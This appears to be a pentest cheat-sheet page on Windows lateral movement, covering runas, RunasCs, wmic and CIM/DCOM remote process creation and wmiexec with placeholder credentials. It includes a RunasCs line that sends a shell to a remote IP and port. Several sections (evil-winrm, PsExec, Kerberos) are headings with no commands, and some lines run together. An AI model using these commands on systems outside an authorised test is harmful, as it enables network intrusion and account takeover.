Lateral Movement
RunAs
Use the runas command to execute commands on behalf of another user on the same host.
runas /user:<USER> <COMMAND, ex. cmd>
# or
Start-Process cmd.exe -Verb runAsYou can also use RunasCs.ps1 or RunasCs.exe to access a user who does not have remote access authorization via another user who does have it
Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs <USER> <PASS> "cmd /c whoami /all".\RunasCs.exe <USER> <PASS> "cmd.exe -r <IP>:<PORT>"We need the credentials of a member of the Administrators local group on the target host.
wmic /node:<IP> /user:<USER> /password:<PASS> process call create "<COMMAND>"$credential = New-Object System.Management.Automation.PSCredential 'USER', (ConvertTo-SecureString '<PASS>' -AsPlaintext -Force)
$Session = New-Cimsession -ComputerName <IP> -Credential $credential -SessionOption (New-CimSessionOption -Protocol DCOM)
$command = '<COMMAND>';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};With wmiexec
wmiexec <USER>@<IP>We need the credentials of a member of the Administrators local group or Remote Management Users group on the target host.
With evil-winrm
PsExec
We need the credentials of a member of the Administrators local group, the ADMIN$ share available and File and Printer Sharing turned on (both default settings on modern Windows Server systems).
DCOM
Interaction with DCOM is performed over RPC on TCP port 135 and local Administrator access is required to call the DCOM Service Control Manager, which is essentially an API.
Kerberos Tickets
Set /etc/hosts and /etc/krb5.conf
Get the TGT
Import it
Use with Kerberos authentication (-k)
Last updated